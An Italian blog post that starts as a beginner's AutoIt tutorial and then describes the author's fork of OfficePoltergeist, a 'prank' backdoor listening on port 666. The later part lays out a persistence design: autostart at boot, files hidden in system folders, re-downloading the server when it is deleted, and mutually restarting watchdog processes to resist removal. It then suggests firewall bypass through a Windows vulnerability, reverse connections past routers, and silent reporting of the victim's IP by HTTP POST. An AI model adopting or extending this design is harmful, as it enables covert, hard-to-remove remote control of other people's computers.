AutoIT, divertimento e semplicità

AutoIt

AutoIt è un linguaggio di automazione per Microsoft Windows. L'ultima versione è la 3.2.10.0 del 25 Novembre 2007. La prima invece all'11 Marzo 2004. AutoIt ha molte funzioni, e la sua sintassi è molto intuitiva. Inoltre permette di compilare con estrema facilità dei file eseguibili (.exe). Utilizziamolo per divertirci un po' :D

Installazione

Per installare AutoIT è sufficiente andare a questa pagina, scaricare AutoIt Full Installation, aprire il file e seguire le istruzioni a schermo.

Primo utilizzo

Clicchiamo col tasto destro su uno spazio vuoto dentro una cartella e scegliamo "Nuovo"->"AutoIt v3 Script" . Scegliamo un nome qualsiasi, ricordandoci però di mantenere l'estensione ".au3" che identifica il linguaggio. Clicchiamo col tasto destro sul file appena creato e scegliamo "Edit Script". Cancelliamo pure tutto il codice di commento generato automaticamente e iniziamo con le prime funzioni di base. Scrivendo "MsgBox(0,"Hello World", "Hi!")" nel campo di testo e premendo F5 otterremo questo risultato: Premiamo CTRL+F7 e generiamo l'eseguibile all'interno della nostra cartella. Avremo un file exe che, una volta eseguito, ci saluterà.

Comandi utili (esempi)

Sui processi

• ProcessClose("nomeProcesso") | Chiude il processo con nome "nomeProcesso"
• ProcessExists("nomeProcesso") | Ritorna true se il processo "nomeProcesso" è in esecuzione
• Run("nomeFile") | Esegue un file, senza path se è di sistema (si può anche impostare la priorità, ecc..)

Iterazioni

Per iterare possiamo usare vari comandi, come "if/endif", "for/next", "while/wend".

Sul registro

• RegRead("nomechiave") | Legge una determinata chiave dal registro (si può aggiungere anche la sottochiave come altro parametro)
• RegWrite("nomechiave") | Scrive una determinata chiave nel registro (come sopra)
• RegDelete("nomechiave") | Cancella una determinata chiave dal registro (come sopra)

Molte altre operazioni

Esistono moltri altri comandi.. dal playing dei file, al shutdown, alla gestione di vari protocolli, alle connessioni, ai file, ecc. Non sto qui a scrivere cose già ampiamente descritte in altri siti. Vi consiglio piuttosto di leggere la guida ufficiale in inglese (estremamente completa) o una piccola guida introduttiva che ho trovato e convertito in pdf (trovata qui).

OfficePoltergeist

E adesso, dopo questa piccola parte teorica.. Un po' di pratica.. Ho scelto di modificare il codice, rilasciato in licenza GPL, di OfficePoltergeist, un piccolo e innocuo programma per fare degli scherzi (una sorta di trojan poco dannoso) ai nostri amici. L'indirizzo ufficiale del programma è http://officepoltergeist.com/. OfficePoltergeist crea una backdoor tramite un file (opserver.exe) che permette l'esecuzione di alcuni comandi sulla porta 666, come lo spostamento delle finestre, la scrittura di messaggi, ecc. Per provarlo ci basta scaricare il file da aprire nel pc della vittima e quello da aprire nel nostro (dove dovremo inserire l'indirizzo IP della vittima). I sorgenti del programma in formato .au3 sono scaricabili qui.

e le nostre modifiche

Ho scelto di modificare il programma in modo da eliminare alcune caratteristiche inutili, aggiungerne alcune nuove, implementare l'esecuzione automatica ad ogni avvio del sistema e rendere estremamente difficile la sua eliminazione senza l'apposito antivirus (che trovate a fondo pagina) o senza l'aiuto del programma di controllo tramite il comando "Rimozione totale". Non ho aggiunto alcuna caratteristica pericolosa a questo programma (per quanto possa essere semplice ed intuitivo) per scoraggiare chiunque voglia fare di questo programma usi poco ortodossi, rovinando la bellezza di questo piccolo linguaggio di programmazione. Impariamo dai virus più recenti come fare a difendere un file dalla minaccia di chi vuole cancellarlo. Anzitutto avremo bisogno di poter ripristinare il file principale che riceve i comandi quando questo viene cancellato. Per farlo il modo migliore è evidentemente scaricarlo da Internet, oltre che nasconderlo alla prima installazione in una cartella sperduta del sistema operativo. Avremo poi bisogno di ben tre file di supercontrollo (rispettivamente Z, J e K), Z in avvio per pochi secondi all'accensione del sistema operativo che controlla la presenza di degli altri due file e nel caso li ripristina e altri 2 (J e K), paralleli, che si eseguono a vicenda nel caso uno di loro venga interrotto e ripristinano Z nel caso sia stato cancellato. Inoltre tengono aperto il server che riceve i comandi e lo ripristinano nel caso esso venga cancellato. La cosa più interessante sarà che il codice di tutti questi file sarà contenuto in un unico grande file, che si comporterà diversamente a seconda di una condizione ancora da decidere. Personalmente ho scelto come condizione di funzionamento il nome del programma. Così ho creato una nuova versione (Fork) di OfficePoltergeist che non si può rimuovere senza difficoltà e che si avvia col computer. Inoltre contiene alcuni nuovi comandi, che vedrete negli screenshot che ho preparato. Come sempre il mio consiglio è quello di provare a guardare il codice (abbastanza commentato!) e magari provare a fare le proprie modifiche. Ad esempio delle modifiche interessanti sarebbero:

• sfruttare una delle recenti vulnerabilità di Windows XP per bypassare il suo firewall tramite registro di sistema;
• spostare i file di funzionamento in cartelle arbitrarie/casuali per nascondergli meglio;
• riuscire a bypassare router e simili tramite una comunicazione "inversa";
• aggiungere altre funzionalità al server.

Soprattutto sarebbe necessario trovare un'alternativa al MsgBox ( 4096, "Rokken like Dokken", "Listening on IP: " & $ipAddress & " and PORT: " & $portAddress, 5 ) che ho commentato. Ad esempio basterebbe inviare dei dati ad una pagina che accetta comunicazioni in post e magari ci invia l'ip tramite email. Per farlo basterebbe usare ObjCreate("WinHttp.WinHttpRequest.5.1").. Provateci! Insomma come sempre.. Niente licenze restrittive! :) Download dei sorgenti Download dei binari Ci trovate

• l'antivirus per cancellare manualmente il programma;
• control che dovete usare voi;
• server da eseguire nel pc della "vittima".

---

Questo articolo è stato pubblicato il 31-12-1969 alle 18:33 e classificato in .